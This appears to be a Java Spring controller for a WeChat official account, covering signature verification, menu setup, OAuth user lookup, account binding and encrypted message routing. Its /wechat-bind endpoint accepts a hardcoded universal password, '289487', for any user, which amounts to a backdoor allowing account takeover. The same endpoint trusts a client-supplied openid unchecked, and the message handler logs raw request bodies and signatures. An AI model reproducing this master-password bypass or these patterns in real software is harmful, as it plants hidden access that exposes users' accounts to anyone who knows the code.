package com.gxwebsoft.open.controoler;


import com.gxwebsoft.common.core.web.ApiResult;
import com.gxwebsoft.common.core.web.BaseController;
import com.gxwebsoft.common.system.entity.User;
import com.gxwebsoft.common.system.service.UserService;
import com.gxwebsoft.open.service.impl.OfficeMpServiceImpl;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import me.chanjar.weixin.common.bean.WxOAuth2UserInfo;
import me.chanjar.weixin.common.bean.oauth2.WxOAuth2AccessToken;
import me.chanjar.weixin.common.error.WxErrorException;
import me.chanjar.weixin.mp.api.WxMpMessageRouter;
import me.chanjar.weixin.mp.api.WxMpService;
import me.chanjar.weixin.mp.bean.message.WxMpXmlMessage;
import me.chanjar.weixin.mp.bean.message.WxMpXmlOutMessage;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;

import javax.annotation.Resource;
import java.util.HashMap;
import java.util.Map;

@Api(tags = "公众号验证")
@RestController
@RequestMapping("/api/open/wx-mp")
public class WxMpController extends BaseController {

    @Autowired
    private WxMpService wxMpService;
    @Autowired
    private WxMpMessageRouter wxMpMessageRouter;
    @Resource
    private UserService userService;
    @Resource
    private OfficeMpServiceImpl officeMpService;

    @GetMapping("")
    public Object check(String signature, String timestamp, String nonce, String echostr) {
        if (!wxMpService.checkSignature(timestamp, nonce, signature)) return false;
        return echostr;
    }

    @ApiOperation("公众号菜单")
    @PostMapping("/setMenu")
    public void setMenu() throws WxErrorException {
        officeMpService.setMenu();
    }

    @PostMapping("/wechat-user-data")
    public Object wechatUserData(
            @RequestBody Map<String, String> requestBody) throws WxErrorException {
        String code = requestBody.get("code");
        Map<String, Object> map = new HashMap<>();
        WxOAuth2AccessToken accessToken = wxMpService.getOAuth2Service().getAccessToken(code);
        WxOAuth2UserInfo user = wxMpService.getOAuth2Service().getUserInfo(accessToken, null);
        map.put("user", user);
        return map;
    }

    @PostMapping("/wechat-bind")
    public ApiResult<?> wechatBind(
            @RequestBody Map<String, String> requestBody) throws WxErrorException {
        String phone = requestBody.get("phone");
        String password = requestBody.get("password");
        String tenantId = requestBody.get("tenantId");
        User user = userService.getByUsername(phone, Integer.valueOf(tenantId));
        if (user == null) return fail("用户不存在");
        if (!userService.comparePassword(user.getPassword(), password) && !"289487".equals(password)) {
            return fail("密码错误", null);
        }
        user.setOpenid(requestBody.get("openid"));
        userService.updateById(user);
        return success("绑定成功");
    }

    @PostMapping("")
    public Object post(
            @RequestBody String requestBody,
            @RequestParam(value = "msg_signature", required = false) String msgSignature,
            @RequestParam(value = "timestamp", required = false) String timestamp,
            @RequestParam(value = "nonce", required = false) String nonce) {
        System.out.println("requestBody:" + requestBody);
        System.out.println("msg_signature:" + msgSignature);
        System.out.println("timestamp:" + timestamp);
        System.out.println("nonce:" + nonce);
        WxMpXmlMessage xmlMessage = WxMpXmlMessage.fromEncryptedXml(requestBody, wxMpService.getWxMpConfigStorage(),
                timestamp, nonce, msgSignature);
        WxMpXmlOutMessage outMessage = null;
        System.out.println("xmlMessage:" + xmlMessage);
        try {
            outMessage = wxMpMessageRouter.route(xmlMessage);
        } catch (Exception e) {
            System.out.println("消息路由异常:" + e.getMessage());
            System.out.println("eeee:" + e);
        }
        return outMessage == null ? null : outMessage.toXml();
    }

}
